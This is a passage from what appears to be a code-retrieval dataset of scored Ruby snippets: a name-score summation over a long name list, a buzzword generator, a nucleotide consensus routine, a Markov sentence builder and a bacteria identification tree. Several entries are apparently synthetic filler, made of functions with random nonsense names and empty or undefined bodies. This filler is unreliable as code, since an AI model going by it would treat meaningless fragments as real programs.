\",\"TELMA\",\"TEISHA\",\"TAREN\",\"TA\",\"STACEE\",\"SHIN\",\"SHAWNTA\",\"SATURNINA\",\"RICARDA\",\"POK\",\"PASTY\",\"ONIE\",\"NUBIA\",\"MORA\",\"MIKE\",\"MARIELLE\",\"MARIELLA\",\"MARIANELA\",\"MARDELL\",\"MANY\",\"LUANNA\",\"LOISE\",\"LISABETH\",\"LINDSY\",\"LILLIANA\",\"LILLIAM\",\"LELAH\",\"LEIGHA\",\"LEANORA\",\"LANG\",\"KRISTEEN\",\"KHALILAH\",\"KEELEY\",\"KANDRA\",\"JUNKO\",\"JOAQUINA\",\"JERLENE\",\"JANI\",\"JAMIKA\",\"JAME\",\"HSIU\",\"HERMILA\",\"GOLDEN\",\"GENEVIVE\",\"EVIA\",\"EUGENA\",\"EMMALINE\",\"ELFREDA\",\"ELENE\",\"DONETTE\",\"DELCIE\",\"DEEANNA\",\"DARCEY\",\"CUC\",\"CLARINDA\",\"CIRA\",\"CHAE\",\"CELINDA\",\"CATHERYN\",\"CATHERIN\",\"CASIMIRA\",\"CARMELIA\",\"CAMELLIA\",\"BREANA\",\"BOBETTE\",\"BERNARDINA\",\"BEBE\",\"BASILIA\",\"ARLYNE\",\"AMAL\",\"ALAYNA\",\"ZONIA\",\"ZENIA\",\"YURIKO\",\"YAEKO\",\"WYNELL\",\"WILLOW\",\"WILLENA\",\"VERNIA\",\"TU\",\"TRAVIS\",\"TORA\",\"TERRILYN\",\"TERICA\",\"TENESHA\",\"TAWNA\",\"TAJUANA\",\"TAINA\",\"STEPHNIE\",\"SONA\",\"SOL\",\"SINA\",\"SHONDRA\",\"SHIZUKO\",\"SHERLENE\",\"SHERICE\",\"SHARIKA\",\"ROSSIE\",\"ROSENA\",\"RORY\",\"RIMA\",\"RIA\",\"RHEBA\",\"RENNA\",\"PETER\",\"NATALYA\",\"NANCEE\",\"MELODI\",\"MEDA\",\"MAXIMA\",\"MATHA\",\"MARKETTA\",\"MARICRUZ\",\"MARCELENE\",\"MALVINA\",\"LUBA\",\"LOUETTA\",\"LEIDA\",\"LECIA\",\"LAURAN\",\"LASHAWNA\",\"LAINE\",\"KHADIJAH\",\"KATERINE\",\"KASI\",\"KALLIE\",\"JULIETTA\",\"JESUSITA\",\"JESTINE\",\"JESSIA\",\"JEREMY\",\"JEFFIE\",\"JANYCE\",\"ISADORA\",\"GEORGIANNE\",\"FIDELIA\",\"EVITA\",\"EURA\",\"EULAH\",\"ESTEFANA\",\"ELSY\",\"ELIZABET\",\"ELADIA\",\"DODIE\",\"DION\",\"DIA\",\"DENISSE\",\"DELORAS\",\"DELILA\",\"DAYSI\",\"DAKOTA\",\"CURTIS\",\"CRYSTLE\",\"CONCHA\",\"COLBY\",\"CLARETTA\",\"CHU\",\"CHRISTIA\",\"CHARLSIE\",\"CHARLENA\",\"CARYLON\",\"BETTYANN\",\"ASLEY\",\"ASHLEA\",\"AMIRA\",\"AI\",\"AGUEDA\",\"AGNUS\",\"YUETTE\",\"VINITA\",\"VICTORINA\",\"TYNISHA\",\"TREENA\",\"TOCCARA\",\"TISH\",\"THOMASENA\",\"TEGAN\",\"SOILA\",\"SHILOH\",\"SHENNA\",\"SHARMAINE\",\"SHANTAE\",\"SHANDI\",\"SEPTEMBER\",\"SARAN\",\"SARAI\",\"SANA\",\"SAMUEL\",\"SALLEY\",\"ROSETTE\",\"ROLANDE\",\"REGINE\",\"OTELIA\",\"OSCAR\",\"OLEVIA\",\"NICHOLLE\",\"NECOLE\",\"NAIDA\",\"MYRTA\",\"MYESHA\",\"MITSUE\",\"MINTA\",\"MERTIE\",\"MARGY\",\"MAHALIA\",\"MADALENE\",\"LOVE\",\"LOURA\",\"LOREAN\",\"LEWIS\",\"LESHA\",\"LEONIDA\",\"LENITA\",\"LAVONE\",\"LASHELL\",\"LASHANDRA\",\"LAMONICA\",\"KIMBRA\",\"KATHERINA\",\"KARRY\",\"KANESHA\",\"JULIO\",\"JONG\",\"JENEVA\",\"JAQUELYN\",\"HWA\",\"GILMA\",\"GHISLAINE\",\"GERTRUDIS\",\"FRANSISCA\",\"FERMINA\",\"ETTIE\",\"ETSUKO\",\"ELLIS\",\"ELLAN\",\"ELIDIA\",\"EDRA\",\"DORETHEA\",\"DOREATHA\",\"DENYSE\",\"DENNY\",\"DEETTA\",\"DAINE\",\"CYRSTAL\",\"CORRIN\",\"CAYLA\",\"CARLITA\",\"CAMILA\",\"BURMA\",\"BULA\",\"BUENA\",\"BLAKE\",\"BARABARA\",\"AVRIL\",\"AUSTIN\",\"ALAINE\",\"ZANA\",\"WILHEMINA\",\"WANETTA\",\"VIRGIL\",\"VI\",\"VERONIKA\",\"VERNON\",\"VERLINE\",\"VASILIKI\",\"TONITA\",\"TISA\",\"TEOFILA\",\"TAYNA\",\"TAUNYA\",\"TANDRA\",\"TAKAKO\",\"SUNNI\",\"SUANNE\",\"SIXTA\",\"SHARELL\",\"SEEMA\",\"RUSSELL\",\"ROSENDA\",\"ROBENA\",\"RAYMONDE\",\"PEI\",\"PAMILA\",\"OZELL\",\"NEIDA\",\"NEELY\",\"MISTIE\",\"MICHA\",\"MERISSA\",\"MAURITA\",\"MARYLN\",\"MARYETTA\",\"MARSHALL\",\"MARCELL\",\"MALENA\",\"MAKEDA\",\"MADDIE\",\"LOVETTA\",\"LOURIE\",\"LORRINE\",\"LORILEE\",\"LESTER\",\"LAURENA\",\"LASHAY\",\"LARRAINE\",\"LAREE\",\"LACRESHA\",\"KRISTLE\",\"KRISHNA\",\"KEVA\",\"KEIRA\",\"KAROLE\",\"JOIE\",\"JINNY\",\"JEANNETTA\",\"JAMA\",\"HEIDY\",\"GILBERTE\",\"GEMA\",\"FAVIOLA\",\"EVELYNN\",\"ENDA\",\"ELLI\",\"ELLENA\",\"DIVINA\",\"DAGNY\",\"COLLENE\",\"CODI\",\"CINDIE\",\"CHASSIDY\",\"CHASIDY\",\"CATRICE\",\"CATHERINA\",\"CASSEY\",\"CAROLL\",\"CARLENA\",\"CANDRA\",\"CALISTA\",\"BRYANNA\",\"BRITTENY\",\"BEULA\",\"BARI\",\"AUDRIE\",\"AUDRIA\",\"ARDELIA\",\"ANNELLE\",\"ANGILA\",\"ALONA\",\"ALLYN\",\"DOUGLAS\",\"ROGER\",\"JONATHAN\",\"RALPH\",\"NICHOLAS\",\"BENJAMIN\",\"BRUCE\",\"HARRY\",\"WAYNE\",\"STEVE\",\"HOWARD\",\"ERNEST\",\"PHILLIP\",\"TODD\",\"CRAIG\",\"ALAN\",\"PHILIP\",\"EARL\",\"DANNY\",\"BRYAN\",\"STANLEY\",\"LEONARD\",\"NATHAN\",\"MANUEL\",\"RODNEY\",\"MARVIN\",\"VINCENT\",\"JEFFERY\",\"JEFF\",\"CHAD\",\"JACOB\",\"ALFRED\",\"BRADLEY\",\"HERBERT\",\"FREDERICK\",\"EDWIN\",\"DON\",\"RICKY\",\"RANDALL\",\"BARRY\",\"BERNARD\",\"LEROY\",\"MARCUS\",\"THEODORE\",\"CLIFFORD\",\"MIGUEL\",\"JIM\",\"TOM\",\"CALVIN\",\"BILL\",\"LLOYD\",\"DEREK\",\"WARREN\",\"DARRELL\",\"JEROME\",\"FLOYD\",\"ALVIN\",\"TIM\",\"GORDON\",\"GREG\",\"JORGE\",\"DUSTIN\",\"PEDRO\",\"DERRICK\",\"ZACHARY\",\"HERMAN\",\"GLEN\",\"HECTOR\",\"RICARDO\",\"RICK\",\"BRENT\",\"RAMON\",\"GILBERT\",\"MARC\",\"REGINALD\",\"RUBEN\",\"NATHANIEL\",\"RAFAEL\",\"EDGAR\",\"MILTON\",\"RAUL\",\"BEN\",\"CHESTER\",\"DUANE\",\"FRANKLIN\",\"BRAD\",\"RON\",\"ROLAND\",\"ARNOLD\",\"HARVEY\",\"JARED\",\"ERIK\",\"DARRYL\",\"NEIL\",\"JAVIER\",\"FERNANDO\",\"CLINTON\",\"TED\",\"MATHEW\",\"TYRONE\",\"DARREN\",\"LANCE\",\"KURT\",\"ALLAN\",\"NELSON\",\"GUY\",\"CLAYTON\",\"HUGH\",\"MAX\",\"DWAYNE\",\"DWIGHT\",\"ARMANDO\",\"FELIX\",\"EVERETT\",\"IAN\",\"WALLACE\",\"KEN\",\"BOB\",\"ALFREDO\",\"ALBERTO\",\"DAVE\",\"IVAN\",\"BYRON\",\"ISAAC\",\"MORRIS\",\"CLIFTON\",\"WILLARD\",\"ROSS\",\"ANDY\",\"SALVADOR\",\"KIRK\",\"SERGIO\",\"SETH\",\"KENT\",\"TERRANCE\",\"EDUARDO\",\"TERRENCE\",\"ENRIQUE\",\"WADE\",\"STUART\",\"FREDRICK\",\"ARTURO\",\"ALEJANDRO\",\"NICK\",\"LUTHER\",\"WENDELL\",\"JEREMIAH\",\"JULIUS\",\"OTIS\",\"TREVOR\",\"OLIVER\",\"LUKE\",\"HOMER\",\"GERARD\",\"DOUG\",\"KENNY\",\"HUBERT\",\"LYLE\",\"MATT\",\"ALFONSO\",\"ORLANDO\",\"REX\",\"CARLTON\",\"ERNESTO\",\"NEAL\",\"PABLO\",\"LORENZO\",\"OMAR\",\"WILBUR\",\"GRANT\",\"HORACE\",\"RODERICK\",\"ABRAHAM\",\"WILLIS\",\"RICKEY\",\"ANDRES\",\"CESAR\",\"JOHNATHAN\",\"MALCOLM\",\"RUDOLPH\",\"DAMON\",\"KELVIN\",\"PRESTON\",\"ALTON\",\"ARCHIE\",\"MARCO\",\"WM\",\"PETE\",\"RANDOLPH\",\"GARRY\",\"GEOFFREY\",\"JONATHON\",\"FELIPE\",\"GERARDO\",\"ED\",\"DOMINIC\",\"DELBERT\",\"COLIN\",\"GUILLERMO\",\"EARNEST\",\"LUCAS\",\"BENNY\",\"SPENCER\",\"RODOLFO\",\"MYRON\",\"EDMUND\",\"GARRETT\",\"SALVATORE\",\"CEDRIC\",\"LOWELL\",\"GREGG\",\"SHERMAN\",\"WILSON\",\"SYLVESTER\",\"ROOSEVELT\",\"ISRAEL\",\"JERMAINE\",\"FORREST\",\"WILBERT\",\"LELAND\",\"SIMON\",\"CLARK\",\"IRVING\",\"BRYANT\",\"OWEN\",\"RUFUS\",\"WOODROW\",\"KRISTOPHER\",\"MACK\",\"LEVI\",\"MARCOS\",\"GUSTAVO\",\"JAKE\",\"LIONEL\",\"GILBERTO\",\"CLINT\",\"NICOLAS\",\"ISMAEL\",\"ORVILLE\",\"ERVIN\",\"DEWEY\",\"AL\",\"WILFRED\",\"JOSH\",\"HUGO\",\"IGNACIO\",\"CALEB\",\"TOMAS\",\"SHELDON\",\"ERICK\",\"STEWART\",\"DOYLE\",\"DARREL\",\"ROGELIO\",\"TERENCE\",\"SANTIAGO\",\"ALONZO\",\"ELIAS\",\"BERT\",\"ELBERT\",\"RAMIRO\",\"CONRAD\",\"NOAH\",\"GRADY\",\"PHIL\",\"CORNELIUS\",\"LAMAR\",\"ROLANDO\",\"CLAY\",\"PERCY\",\"DEXTER\",\"BRADFORD\",\"DARIN\",\"AMOS\",\"MOSES\",\"IRVIN\",\"SAUL\",\"ROMAN\",\"RANDAL\",\"TIMMY\",\"DARRIN\",\"WINSTON\",\"BRENDAN\",\"ABEL\",\"DOMINICK\",\"BOYD\",\"EMILIO\",\"ELIJAH\",\"DOMINGO\",\"EMMETT\",\"MARLON\",\"EMANUEL\",\"JERALD\",\"EDMOND\",\"EMIL\",\"DEWAYNE\",\"WILL\",\"OTTO\",\"TEDDY\",\"REYNALDO\",\"BRET\",\"JESS\",\"TRENT\",\"HUMBERTO\",\"EMMANUEL\",\"STEPHAN\",\"VICENTE\",\"LAMONT\",\"GARLAND\",\"MILES\",\"EFRAIN\",\"HEATH\",\"RODGER\",\"HARLEY\",\"ETHAN\",\"ELDON\",\"ROCKY\",\"PIERRE\",\"JUNIOR\",\"FREDDY\",\"ELI\",\"BRYCE\",\"ANTOINE\",\"STERLING\",\"CHASE\",\"GROVER\",\"ELTON\",\"CLEVELAND\",\"DYLAN\",\"CHUCK\",\"DAMIAN\",\"REUBEN\",\"STAN\",\"AUGUST\",\"LEONARDO\",\"JASPER\",\"RUSSEL\",\"ERWIN\",\"BENITO\",\"HANS\",\"MONTE\",\"BLAINE\",\"ERNIE\",\"CURT\",\"QUENTIN\",\"AGUSTIN\",\"MURRAY\",\"JAMAL\",\"ADOLFO\",\"HARRISON\",\"TYSON\",\"BURTON\",\"BRADY\",\"ELLIOTT\",\"WILFREDO\",\"BART\",\"JARROD\",\"VANCE\",\"DENIS\",\"DAMIEN\",\"JOAQUIN\",\"HARLAN\",\"DESMOND\",\"ELLIOT\",\"DARWIN\",\"GREGORIO\",\"BUDDY\",\"XAVIER\",\"KERMIT\",\"ROSCOE\",\"ESTEBAN\",\"ANTON\",\"SOLOMON\",\"SCOTTY\",\"NORBERT\",\"ELVIN\",\"WILLIAMS\",\"NOLAN\",\"ROD\",\"QUINTON\",\"HAL\",\"BRAIN\",\"ROB\",\"ELWOOD\",\"KENDRICK\",\"DARIUS\",\"MOISES\",\"FIDEL\",\"THADDEUS\",\"CLIFF\",\"MARCEL\",\"JACKSON\",\"RAPHAEL\",\"BRYON\",\"ARMAND\",\"ALVARO\",\"JEFFRY\",\"DANE\",\"JOESPH\",\"THURMAN\",\"NED\",\"RUSTY\",\"MONTY\",\"FABIAN\",\"REGGIE\",\"MASON\",\"GRAHAM\",\"ISAIAH\",\"VAUGHN\",\"GUS\",\"LOYD\",\"DIEGO\",\"ADOLPH\",\"NORRIS\",\"MILLARD\",\"ROCCO\",\"GONZALO\",\"DERICK\",\"RODRIGO\",\"WILEY\",\"RIGOBERTO\",\"ALPHONSO\",\"TY\",\"NOE\",\"VERN\",\"REED\",\"JEFFERSON\",\"ELVIS\",\"BERNARDO\",\"MAURICIO\",\"HIRAM\",\"DONOVAN\",\"BASIL\",\"RILEY\",\"NICKOLAS\",\"MAYNARD\",\"SCOT\",\"VINCE\",\"QUINCY\",\"EDDY\",\"SEBASTIAN\",\"FEDERICO\",\"ULYSSES\",\"HERIBERTO\",\"DONNELL\",\"COLE\",\"DAVIS\",\"GAVIN\",\"EMERY\",\"WARD\",\"ROMEO\",\"JAYSON\",\"DANTE\",\"CLEMENT\",\"COY\",\"MAXWELL\",\"JARVIS\",\"BRUNO\",\"ISSAC\",\"DUDLEY\",\"BROCK\",\"SANFORD\",\"CARMELO\",\"BARNEY\",\"NESTOR\",\"STEFAN\",\"DONNY\",\"ART\",\"LINWOOD\",\"BEAU\",\"WELDON\",\"GALEN\",\"ISIDRO\",\"TRUMAN\",\"DELMAR\",\"JOHNATHON\",\"SILAS\",\"FREDERIC\",\"DICK\",\"IRWIN\",\"MERLIN\",\"CHARLEY\",\"MARCELINO\",\"HARRIS\",\"CARLO\",\"TRENTON\",\"KURTIS\",\"HUNTER\",\"AURELIO\",\"WINFRED\",\"VITO\",\"COLLIN\",\"DENVER\",\"CARTER\",\"LEONEL\",\"EMORY\",\"PASQUALE\",\"MOHAMMAD\",\"MARIANO\",\"DANIAL\",\"LANDON\",\"DIRK\",\"BRANDEN\",\"ADAN\",\"BUFORD\",\"GERMAN\",\"WILMER\",\"EMERSON\",\"ZACHERY\",\"FLETCHER\",\"JACQUES\",\"ERROL\",\"DALTON\",\"MONROE\",\"JOSUE\",\"EDWARDO\",\"BOOKER\",\"WILFORD\",\"SONNY\",\"SHELTON\",\"CARSON\",\"THERON\",\"RAYMUNDO\",\"DAREN\",\"HOUSTON\",\"ROBBY\",\"LINCOLN\",\"GENARO\",\"BENNETT\",\"OCTAVIO\",\"CORNELL\",\"HUNG\",\"ARRON\",\"ANTONY\",\"HERSCHEL\",\"GIOVANNI\",\"GARTH\",\"CYRUS\",\"CYRIL\",\"RONNY\",\"LON\",\"FREEMAN\",\"DUNCAN\",\"KENNITH\",\"CARMINE\",\"ERICH\",\"CHADWICK\",\"WILBURN\",\"RUSS\",\"REID\",\"MYLES\",\"ANDERSON\",\"MORTON\",\"JONAS\",\"FOREST\",\"MITCHEL\",\"MERVIN\",\"ZANE\",\"RICH\",\"JAMEL\",\"LAZARO\",\"ALPHONSE\",\"RANDELL\",\"MAJOR\",\"JARRETT\",\"BROOKS\",\"ABDUL\",\"LUCIANO\",\"SEYMOUR\",\"EUGENIO\",\"MOHAMMED\",\"VALENTIN\",\"CHANCE\",\"ARNULFO\",\"LUCIEN\",\"FERDINAND\",\"THAD\",\"EZRA\",\"ALDO\",\"RUBIN\",\"ROYAL\",\"MITCH\",\"EARLE\",\"ABE\",\"WYATT\",\"MARQUIS\",\"LANNY\",\"KAREEM\",\"JAMAR\",\"BORIS\",\"ISIAH\",\"EMILE\",\"ELMO\",\"ARON\",\"LEOPOLDO\",\"EVERETTE\",\"JOSEF\",\"ELOY\",\"RODRICK\",\"REINALDO\",\"LUCIO\",\"JERROD\",\"WESTON\",\"HERSHEL\",\"BARTON\",\"PARKER\",\"LEMUEL\",\"BURT\",\"JULES\",\"GIL\",\"ELISEO\",\"AHMAD\",\"NIGEL\",\"EFREN\",\"ANTWAN\",\"ALDEN\",\"MARGARITO\",\"COLEMAN\",\"DINO\",\"OSVALDO\",\"LES\",\"DEANDRE\",\"NORMAND\",\"KIETH\",\"TREY\",\"NORBERTO\",\"NAPOLEON\",\"JEROLD\",\"FRITZ\",\"ROSENDO\",\"MILFORD\",\"CHRISTOPER\",\"ALFONZO\",\"LYMAN\",\"JOSIAH\",\"BRANT\",\"WILTON\",\"RICO\",\"JAMAAL\",\"DEWITT\",\"BRENTON\",\"OLIN\",\"FOSTER\",\"FAUSTINO\",\"CLAUDIO\",\"JUDSON\",\"GINO\",\"EDGARDO\",\"ALEC\",\"TANNER\",\"JARRED\",\"DONN\",\"TAD\",\"PRINCE\",\"PORFIRIO\",\"ODIS\",\"LENARD\",\"CHAUNCEY\",\"TOD\",\"MEL\",\"MARCELO\",\"KORY\",\"AUGUSTUS\",\"KEVEN\",\"HILARIO\",\"BUD\",\"SAL\",\"ORVAL\",\"MAURO\",\"ZACHARIAH\",\"OLEN\",\"ANIBAL\",\"MILO\",\"JED\",\"DILLON\",\"AMADO\",\"NEWTON\",\"LENNY\",\"RICHIE\",\"HORACIO\",\"BRICE\",\"MOHAMED\",\"DELMER\",\"DARIO\",\"REYES\",\"MAC\",\"JONAH\",\"JERROLD\",\"ROBT\",\"HANK\",\"RUPERT\",\"ROLLAND\",\"KENTON\",\"DAMION\",\"ANTONE\",\"WALDO\",\"FREDRIC\",\"BRADLY\",\"KIP\",\"BURL\",\"WALKER\",\"TYREE\",\"JEFFEREY\",\"AHMED\",\"WILLY\",\"STANFORD\",\"OREN\",\"NOBLE\",\"MOSHE\",\"MIKEL\",\"ENOCH\",\"BRENDON\",\"QUINTIN\",\"JAMISON\",\"FLORENCIO\",\"DARRICK\",\"TOBIAS\",\"HASSAN\",\"GIUSEPPE\",\"DEMARCUS\",\"CLETUS\",\"TYRELL\",\"LYNDON\",\"KEENAN\",\"WERNER\",\"GERALDO\",\"COLUMBUS\",\"CHET\",\"BERTRAM\",\"MARKUS\",\"HUEY\",\"HILTON\",\"DWAIN\",\"DONTE\",\"TYRON\",\"OMER\",\"ISAIAS\",\"HIPOLITO\",\"FERMIN\",\"ADALBERTO\",\"BO\",\"BARRETT\",\"TEODORO\",\"MCKINLEY\",\"MAXIMO\",\"GARFIELD\",\"RALEIGH\",\"LAWERENCE\",\"ABRAM\",\"RASHAD\",\"KING\",\"EMMITT\",\"DARON\",\"SAMUAL\",\"MIQUEL\",\"EUSEBIO\",\"DOMENIC\",\"DARRON\",\"BUSTER\",\"WILBER\",\"RENATO\",\"JC\",\"HOYT\",\"HAYWOOD\",\"EZEKIEL\",\"CHAS\",\"FLORENTINO\",\"ELROY\",\"CLEMENTE\",\"ARDEN\",\"NEVILLE\",\"EDISON\",\"DESHAWN\",\"NATHANIAL\",\"JORDON\",\"DANILO\",\"CLAUD\",\"SHERWOOD\",\"RAYMON\",\"RAYFORD\",\"CRISTOBAL\",\"AMBROSE\",\"TITUS\",\"HYMAN\",\"FELTON\",\"EZEQUIEL\",\"ERASMO\",\"STANTON\",\"LONNY\",\"LEN\",\"IKE\",\"MILAN\",\"LINO\",\"JAROD\",\"HERB\",\"ANDREAS\",\"WALTON\",\"RHETT\",\"PALMER\",\"DOUGLASS\",\"CORDELL\",\"OSWALDO\",\"ELLSWORTH\",\"VIRGILIO\",\"TONEY\",\"NATHANAEL\",\"DEL\",\"BENEDICT\",\"MOSE\",\"JOHNSON\",\"ISREAL\",\"GARRET\",\"FAUSTO\",\"ASA\",\"ARLEN\",\"ZACK\",\"WARNER\",\"MODESTO\",\"FRANCESCO\",\"MANUAL\",\"GAYLORD\",\"GASTON\",\"FILIBERTO\",\"DEANGELO\",\"MICHALE\",\"GRANVILLE\",\"WES\",\"MALIK\",\"ZACKARY\",\"TUAN\",\"ELDRIDGE\",\"CRISTOPHER\",\"CORTEZ\",\"ANTIONE\",\"MALCOM\",\"LONG\",\"KOREY\",\"JOSPEH\",\"COLTON\",\"WAYLON\",\"VON\",\"HOSEA\",\"SHAD\",\"SANTO\",\"RUDOLF\",\"ROLF\",\"REY\",\"RENALDO\",\"MARCELLUS\",\"LUCIUS\",\"KRISTOFER\",\"BOYCE\",\"BENTON\",\"HAYDEN\",\"HARLAND\",\"ARNOLDO\",\"RUEBEN\",\"LEANDRO\",\"KRAIG\",\"JERRELL\",\"JEROMY\",\"HOBERT\",\"CEDRICK\",\"ARLIE\",\"WINFORD\",\"WALLY\",\"LUIGI\",\"KENETH\",\"JACINTO\",\"GRAIG\",\"FRANKLYN\",\"EDMUNDO\",\"SID\",\"PORTER\",\"LEIF\",\"JERAMY\",\"BUCK\",\"WILLIAN\",\"VINCENZO\",\"SHON\",\"LYNWOOD\",\"JERE\",\"HAI\",\"ELDEN\",\"DORSEY\",\"DARELL\",\"BRODERICK\",\"ALONSO\"]\n\n n, sum, total = 1, 0, 0\n names.sort.each do |name|\n name.split(\"\").each do |char|\n sum += char.ord - \"A\".ord + 1\n end\n total, n, sum = total + ( n * sum ), n + 1, 0\n end\n puts total\nend", "title": "" }, { "docid": "da8ae63d3f29cdde9b9ee6d8d890bb1d", "score": "0.5599999", "text": "def nationalistically_gwen(insnarer_triumph, rehandling_kino)\n malling_viscountship_acajou(tuboligamentous)\n unenfeebled_agraphia_uninnovating()\n rooker_taphrina_theoremic(pontage_roadster)\n end", "title": "" }, { "docid": "147d6b0b0bf04cb154d40f2821d46d34", "score": "0.55925006", "text": "def bs\n [\n [\"implement\", \"utilize\", \"integrate\", \"streamline\", \"optimize\", \"evolve\", \"transform\", \"embrace\", \"enable\", \"orchestrate\", \"leverage\", \"reinvent\", \"aggregate\", \"architect\", \"enhance\", \"incentivize\", \"morph\", \"empower\", \"envisioneer\", \"monetize\", \"harness\", \"facilitate\", \"seize\", \"disintermediate\", \"synergize\", \"strategize\", \"deploy\", \"brand\", \"grow\", \"target\", \"syndicate\", \"synthesize\", \"deliver\", \"mesh\", \"incubate\", \"engage\", \"maximize\", \"benchmark\", \"expedite\", \"reintermediate\", \"whiteboard\", \"visualize\", \"repurpose\", \"innovate\", \"scale\", \"unleash\", \"drive\", \"extend\", \"engineer\", \"revolutionize\", \"generate\", \"exploit\", \"transition\", \"e-enable\", \"iterate\", \"cultivate\", \"matrix\", \"productize\", \"redefine\", \"recontextualize\"].rand,\n [\"clicks-and-mortar\", \"value-added\", \"vertical\", \"proactive\", \"robust\", \"revolutionary\", \"scalable\", \"leading-edge\", \"innovative\", \"intuitive\", \"strategic\", \"e-business\", \"mission-critical\", \"sticky\", \"one-to-one\", \"24/7\", \"end-to-end\", \"global\", \"B2B\", \"B2C\", \"granular\", \"frictionless\", \"virtual\", \"viral\", \"dynamic\", \"24/365\", \"best-of-breed\", \"killer\", \"magnetic\", \"bleeding-edge\", \"web-enabled\", \"interactive\", \"dot-com\", \"sexy\", \"back-end\", \"real-time\", \"efficient\", \"front-end\", \"distributed\", \"seamless\", \"extensible\", \"turn-key\", \"world-class\", \"open-source\", \"cross-platform\", \"cross-media\", \"synergistic\", \"bricks-and-clicks\", \"out-of-the-box\", \"enterprise\", \"integrated\", \"impactful\", \"wireless\", \"transparent\", \"next-generation\", \"cutting-edge\", \"user-centric\", \"visionary\", \"customized\", \"ubiquitous\", \"plug-and-play\", \"collaborative\", \"compelling\", \"holistic\", \"rich\"].rand,\n [\"synergies\", \"web-readiness\", \"paradigms\", \"markets\", \"partnerships\", \"infrastructures\", \"platforms\", \"initiatives\", \"channels\", \"eyeballs\", \"communities\", \"ROI\", \"solutions\", \"e-tailers\", \"e-services\", \"action-items\", \"portals\", \"niches\", \"technologies\", \"content\", \"vortals\", \"supply-chains\", \"convergence\", \"relationships\", \"architectures\", \"interfaces\", \"e-markets\", \"e-commerce\", \"systems\", \"bandwidth\", \"infomediaries\", \"models\", \"mindshare\", \"deliverables\", \"users\", \"schemas\", \"networks\", \"applications\", \"metrics\", \"e-business\", \"functionalities\", \"experiences\", \"web services\", \"methodologies\"].rand\n ].join(' ')\n end", "title": "" }, { "docid": "a32b83ce521511578437feb630296bed", "score": "0.55891", "text": "def tutania_enzymotic(devoutlessly_clathrus, formalith)\n end", "title": "" }, { "docid": "fb979caba81718464826772ffc032dbb", "score": "0.55879706", "text": "def cyanohermidin_septembrize_irreconcilableness(benjaminite_antherozoid, cavia)\n end", "title": "" }, { "docid": "43e7fb9a2a5d12f3e8c5dca66a74dc8f", "score": "0.5584745", "text": "def humans; end", "title": "" }, { "docid": "43e7fb9a2a5d12f3e8c5dca66a74dc8f", "score": "0.5584745", "text": "def humans; end", "title": "" }, { "docid": "43e7fb9a2a5d12f3e8c5dca66a74dc8f", "score": "0.5584745", "text": "def humans; end", "title": "" }, { "docid": "fd334847fcfe421f69c4e63b6cefa3a0", "score": "0.5584545", "text": "def sandalwort(kanten, flusterate_laughful)\n end", "title": "" }, { "docid": "5efba289dfa6d9206158df194ef0731f", "score": "0.5583344", "text": "def degenerate_consensus\n degenerate_nucleotide = {\n \"A\" => \"A\",\n \"C\" => \"C\",\n \"G\" => \"G\",\n \"T\" => \"T\",\n \"AC\" => \"M\",\n \"AG\" => \"R\",\n \"AT\" => \"W\",\n \"CG\" => \"S\",\n \"CT\" => \"Y\",\n \"GT\" => \"K\",\n \"ACG\" => \"V\",\n \"ACT\" => \"H\",\n \"AGT\" => \"D\",\n \"CGT\" => \"B\",\n \"ACGT\" => \"N\"\n }\n\n sequence = \"\"\n (0...@length).each do |i|\n \tnucleotides = self.keys.sort { |a, b|\n \t\t# Reverse sort\n \t\tself[b][i] <=> self[a][i]\n \t}\n \tcounts = nucleotides.map { |c| self[c][i] }\n \t\n \t# Follow the Cavener rules:\n \tif (counts[0] >= counts[1..-1].inject(:+)) &&\n \t\t\t(counts[0] >= 2 * counts[1])\n \t\tkey = nucleotides[0]\n \telsif (4 * counts[0, 2].inject(:+)) > (3 * counts.inject(:+))\n \t\tkey = nucleotides[0, 2].sort.join(\"\")\n \telsif counts[3] == 0\n \t\tkey = nucleotides[0, 3].sort.join(\"\")\n \telse\n \t\tkey = \"ACGT\"\n \tend\n\n \tnucleotide = degenerate_nucleotide[key]\n \tsequence += nucleotide\n end\n\n return Bio::Sequence.auto(sequence)\n\t\t\tend", "title": "" }, { "docid": "e21f4a75012ddf300e05bebb0504c4b2", "score": "0.55801463", "text": "def markov\n sentence = []\n first_word = Word.alphas.sample()\n word = first_word\n sentence << word.text\n until word.is_omega? && word.suffixes.count == 0 || word.is_omega? && sentence.length > 16 do\n word = word.next_word\n sentence << word.text\n end\n sent = sentence.join(' ')\n if sent.match(/\\.\\z/)\n sent.gsub!(/\\.\\z/, \"!\")\n else\n sent = sent + \"!\"\n end\n sent\nend", "title": "" }, { "docid": "165dadcc910880d68d297ac374624537", "score": "0.5575627", "text": "def konjugation (forms) \n if forms.length == 0 # if nothin is found reduce stem a second time: faciet = faci; nothing to be found unless it's chopped once more\n print \"Leider nicht im Stammverzeichnis \\n\"\n konjugation = \" \"\n else\n line = forms[0].to_i\n case line\n when 1..7 then konjugation = \"A-Konjugation\" #find out range automatically?\n when 9..12 then konjugation = \"E-Konjugation\"\n when 14..21 then konjugation = \"konsonantische Konjugation\"\n when 23..26 then konjugation = \"I-Konjugation\"\n when 28..32 then konjugation = \"Misch-Konjugation\"\n end \n end \n end", "title": "" }, { "docid": "6207af68823cbcacdc8ad2249e896b7a", "score": "0.5573043", "text": "def aqueomercurial_bobadil_tautosyllabic()\n hypsochromic_ultonian(nete_regicidal, phototelegraphic, sixtyfold)\n end", "title": "" }, { "docid": "8c754ce7ba9749e4d0688f66cf2b703c", "score": "0.5563559", "text": "def panpsychic_execrableness_edematous(galvanotaxis_morologist, caudillism_deruinate, unjewel)\n anaerobiont_jasper()\n bacteriopsonic_diallel()\n prerealization_vibromotive_guiltlessly(unhaste_indirection, hamous_impromptuary)\n end", "title": "" }, { "docid": "5a2dfbb7f4f06307551cfe4eb0f25e57", "score": "0.5555135", "text": "def gn_bacilli_ID\n gn_bacilli_set = []\n if yes_or_no(gn_bacilli_set, \"oxidase\")\n if !yes_or_no(gn_bacilli_set, \"glucose ferment\")\n yes_or_no(gn_bacilli_set, \"pyocyanin\")\n else\n if yes_or_no(gn_bacilli_set, \"O/129\")\n if !yes_or_no(gn_bacilli_set, \"TCBS\")\n yes_or_no(gn_bacilli_set, \"lactose\")\n end\n end\n end\n else\n if yes_or_no(gn_bacilli_set, \"lactose\")\n if yes_or_no(gn_bacilli_set, \"indole\")\n if yes_or_no(gn_bacilli_set, \"citrate\")\n if yes_or_no(gn_bacilli_set, \"VP\")\n yes_or_no(gn_bacilli_set, \"H2S\")\n end\n end\n else\n if yes_or_no(gn_bacilli_set, \"methyl red\")\n if 